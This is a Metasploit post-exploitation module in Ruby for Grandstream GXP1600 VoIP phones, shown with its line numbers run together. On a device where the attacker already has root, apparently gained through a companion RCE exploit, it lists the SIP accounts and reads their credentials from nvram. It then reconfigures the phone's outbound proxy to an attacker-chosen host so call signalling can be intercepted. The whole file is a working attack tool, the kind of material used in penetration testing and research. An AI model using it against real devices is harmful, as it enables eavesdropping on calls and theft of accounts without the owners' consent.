Path: blob/master/modules/post/linux/capture/grandstream_gxp1600_sip.rb
36033 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'GrandStream GXP1600 proxy SIP traffic',14'Description' => %q{15This capture module works against Grandstream GXP1600 series VoIP devices and can reconfigure the device to use an16arbitrary SIP proxy. You can first leverage the `exploit/linux/http/grandstream_gxp1600_unauth_rce` exploit17module to get a root session on a target GXP1600 series device before running this post module.18},19'License' => MSF_LICENSE,20'Author' => [21'sfewer-r7'22],23'Platform' => ['linux'],24'SessionTypes' => ['shell', 'meterpreter'],25'Actions' => [26['list', { 'Description' => 'List all SIP accounts.' }],27['start', { 'Description' => 'Start proxying SIP account traffic.' }],28['stop', { 'Description' => 'Start proxying SIP account traffic.' }]29],30'DefaultAction' => 'list',31'Notes' => {32'Stability' => [33# The phone service will not crash as we are only reconfiguring the phone.34CRASH_SAFE,35# If we don't revert the config changes after we proxy a SIP account, that SIP account can't operate if36# the remote proxy is down.37SERVICE_RESOURCE_LOSS38],39'Reliability' => [],40'SideEffects' => [41# We config the phone to use our SIP proxy.42CONFIG_CHANGES,43# Adding a new SIP proxy may introduce audible latency during phone calls.44AUDIO_EFFECTS45],46'RelatedModules' => [47'exploit/linux/http/grandstream_gxp1600_unauth_rce',48'post/linux/gather/grandstream_gxp1600_creds'49]50}51)52)5354register_options([55OptPort.new('SIP_PROXY_UDP_PORT', [true, 'The remote SIP proxy UDP port', 5060 ]),56OptAddress.new('SIP_PROXY_HOST', [true, 'The remote SIP proxy host address', nil]),57OptInt.new('SIP_ACCOUNT_INDEX', [false, 'The zero-based SIP Account index to operate on.'], conditions: [ 'ACTION', 'in', %w[start stop]]),58])59end6061def run62unless action.name == 'list'63fail_with(Failure::BadConfig, 'You must set the SIP_ACCOUNT_INDEX option.') if datastore['SIP_ACCOUNT_INDEX'].blank?6465fail_with(Failure::BadConfig, 'You must set the SIP_ACCOUNT_INDEX to a positive integer.') if datastore['SIP_ACCOUNT_INDEX'].negative?66end6768fail_with(Failure::NoTarget, 'Module cannot run against this target.') unless gxp1600?6970sip_account = nil7172unless action.name == 'list'7374fail_with(Failure::BadConfig, 'You must set the SIP_ACCOUNT_INDEX to a valid index value.') if datastore['SIP_ACCOUNT_INDEX'] >= get_num_accounts7576sip_account = get_sip_account(datastore['SIP_ACCOUNT_INDEX'])7778fail_with(Failure::UnexpectedReply, 'Failed to retrieve the SIP account details.') unless sip_account79end8081case action.name82when 'list'83list84when 'start'85start(sip_account)86when 'stop'87stop88end89end9091def list92columns = ['Account Index', 'Account Enabled', 'Account Name', 'Display Name', 'User ID', 'Registrar Server', 'Registrar Server Transport', 'Outbound Proxy', 'Can Capture?']9394table = Rex::Text::Table.new(95'Header' => 'SIP Accounts',96'Indent' => 1,97'Columns' => columns,98'ColProps' => {99'Can Capture?' => {100'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new({ 'Yes' => '%grn', 'No' => '%red' })]101}102}103)1041050.upto(get_num_accounts - 1) do |account_idx|106sip_account = get_sip_account(account_idx)107108next unless sip_account109110table << [111account_idx.to_s,112sip_account.dig('AccountEnable', 'data') == '0' ? 'No' : 'Yes',113sip_account.dig('AccountName', 'data'),114sip_account.dig('DisplayName', 'data'),115sip_account.dig('UserID', 'data'),116sip_account.dig('RegistrarServer', 'data'),117transport_type(sip_account.dig('RegistrarServerTransport', 'data')),118sip_account.dig('OutboundProxy', 'data'),119can_capture?(sip_account) ? 'Yes' : 'No'120]121end122123print_line(table.to_s)124end125126def start(sip_account)127fail_with(Failure::BadConfig, 'This SIP account traffic cannot be captured.') unless can_capture? sip_account128129# modify config...130sip_account['AccountEnable']['data'] = 1131sip_account['OutboundProxy']['data'] = "#{datastore['SIP_PROXY_HOST']}:#{datastore['SIP_PROXY_UDP_PORT']}"132sip_account['UserAgentTransport']['data'] = 0 # udp133sip_account['X_GRANDSTREAM_RemoveOBPFromRoute']['data'] = 0 # In route134135# backup current config to the devices /tmp folder, so we can easily restore orig settings, even in a new session.136enc_data = Msf::Simple::Buffer.transform(sip_account.to_json.to_s, 'raw', '', { format: 'rc4', key: Rex::Text.sha2(client.core.machine_id) })137138sip_account_backup_path = "/tmp/#{Rex::Text.sha1("#{client.core.machine_id}_#{sip_account['index']}")}"139140fail_with(Failure::BadConfig, 'This SIP account config cannot be backed up.') unless write_file(sip_account_backup_path, enc_data)141142write_config(sip_account)143end144145def stop146sip_account_backup_path = "/tmp/#{Rex::Text.sha1("#{client.core.machine_id}_#{datastore['SIP_ACCOUNT_INDEX']}")}"147148print_status("Reading SIP account backup configuration: #{sip_account_backup_path}")149enc_data = read_file(sip_account_backup_path)150151fail_with(Failure::BadConfig, 'No SIP account backup configuration.') unless enc_data152153print_status('Decrypting SIP account backup configuration.')154dec_data = Msf::Simple::Buffer.transform(enc_data, 'raw', '', { format: 'rc4', key: Rex::Text.sha2(client.core.machine_id) })155156sip_account = JSON.parse(dec_data)157158if sip_account['index'].to_i != datastore['SIP_ACCOUNT_INDEX'].to_i159fail_with(Failure::BadConfig, 'SIP account index mismatch.')160end161162print_status('Reverting SIP account backup configuration')163write_config(sip_account, revert: true)164165print_status("Deleting SIP account backup configuration: #{sip_account_backup_path}")166file_rm(sip_account_backup_path)167rescue JSON::ParserError168fail_with(Failure::BadConfig, 'Failed to parse SIP account backup configuration.')169end170171def gxp1600?172unless is_root?173user = cmd_exec('/usr/bin/whoami')174print_error("This module requires root permissions. Module running as \"#{user}\" user.")175return false176end177178unless file? '/usr/bin/nvram'179print_error('nvram binary not found')180return false181end182183model_str = nvram_get(89)184185# These 6 models all share the same firmware for the GXP1600 range.186affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]187188unless affected_models.include? model_str189print_error("Phone is not a GXP1600 model. Detected model \"#{model_str}\".")190return false191end192193print_status("Module running against phone model #{model_str}")194true195end196197def nvram_get(pvalue)198cmd_exec("/usr/bin/nvram get #{pvalue}")199end200201def nvram_set(pvalue, data)202cmd_exec("/usr/bin/nvram xet #{pvalue}=\"#{data.to_s.gsub('"', '\\"')}\"")203end204205def nvram_commit206# commit the changes to nvram207cmd_exec('/usr/bin/nvram commit')208209# dbus_session will be something like "unix:path=/tmp/dbus-NS7MvuwBIA,guid=857fea90b077e2fbf8226a770000000e"210dbus_session = cmd_exec('/usr/bin/nvram get dbus_session')211212# force the phone to pick up the changes213cmd_exec("DBUS_SESSION_BUS_ADDRESS=#{dbus_session} /usr/bin/dbus-send --session /com/grandstream/dbus/gui com.grandstream.dbus.signal.cfupdated")214end215216def write_config(sip_account, revert: false)217changes = 0218219sip_account.each_value do |v|220next unless v.instance_of? Hash221222next if v['data'] == v['orig_data']223224if revert225nvram_set(v['pvalue'], v['orig_data'])226else227nvram_set(v['pvalue'], v['data'])228end229230changes += 1231end232233nvram_commit unless changes.zero?234end235236def get_num_accounts237read_file('/proc/gxp/dev_info/hw_features/num_accts').to_i238end239240def get_sip_account(idx)241# The GXP1600 series supports up to 6 SIP accounts, depending on the model.242return nil unless (0..5).include?(idx)243244sip_accounts = {245'AccountEnable' => [271, 401, 501, 601, 1701, 1801],246'AccountName' => [270, 417, 517, 617, 1717, 1817],247'DisplayName' => [3, 407, 507, 607, 1707, 1807],248'AuthPassword' => [34, 406, 506, 606, 1706, 1806],249'UserID' => [35, 404, 504, 604, 1704, 1804],250'AuthUserName' => [36, 405, 505, 605, 1705, 1805],251'RegistrarServer' => [47, 402, 502, 602, 1702, 1802],252'RegistrarServerTransport' => [130, 448, 548, 648, 1748, 1848], # 0 - udp, 1 - tcp, 2 - tcp/tls253'OutboundProxy' => [48, 403, 503, 603, 1703, 1803],254'UserAgentPort' => [40, 413, 513, 613, 1713, 1813],255'UserAgentTransport' => [130, 448, 548, 648, 1748, 1848], # 0 - udp, 1 - tcp, 2 - tcp/tls256'X_GRANDSTREAM_RemoveOBPFromRoute' => [2305, 2405, 2505, 2605, 2705, 2805] # 0 - In route, 1 - Not in route, 2 - Always send to257}258259sip_account = {260'index' => idx261}262263sip_accounts.each do |pvalue_name, pvalue_array|264data = nvram_get(pvalue_array[idx])265sip_account[pvalue_name] = {266'pvalue' => pvalue_array[idx],267'data' => data.dup,268'orig_data' => data.dup269}270end271272sip_account273end274275def transport_type(sip_transport)276case sip_transport277when '0'278'udp'279when '1'280'tcp'281when '2'282'tcp/tls'283else284'unknown'285end286end287288def can_capture?(sip_account)289!sip_account.dig('RegistrarServer', 'data').blank? &&290(transport_type(sip_account.dig('RegistrarServerTransport', 'data')) == 'udp') &&291(transport_type(sip_account.dig('UserAgentTransport', 'data')) == 'udp')292end293294end295296297